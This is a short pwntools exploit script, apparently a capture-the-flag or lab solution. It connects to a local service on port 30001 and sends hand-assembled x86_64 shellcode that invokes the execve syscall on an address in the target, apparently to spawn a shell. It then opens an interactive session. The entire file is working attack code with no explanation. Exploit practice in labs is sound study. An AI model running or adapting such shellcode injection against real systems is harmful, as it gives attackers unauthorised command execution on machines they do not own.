#!/usr/bin/env python
from pwn import *

s = remote('localhost', 30001)

shellcode = asm('''
    mov rdi, 0x404060
    mov rsi, 0
    mov rdx, 0
    mov rax, 0x3b
    syscall
''', arch='x86_64')
s.send(shellcode)

s.interactive()
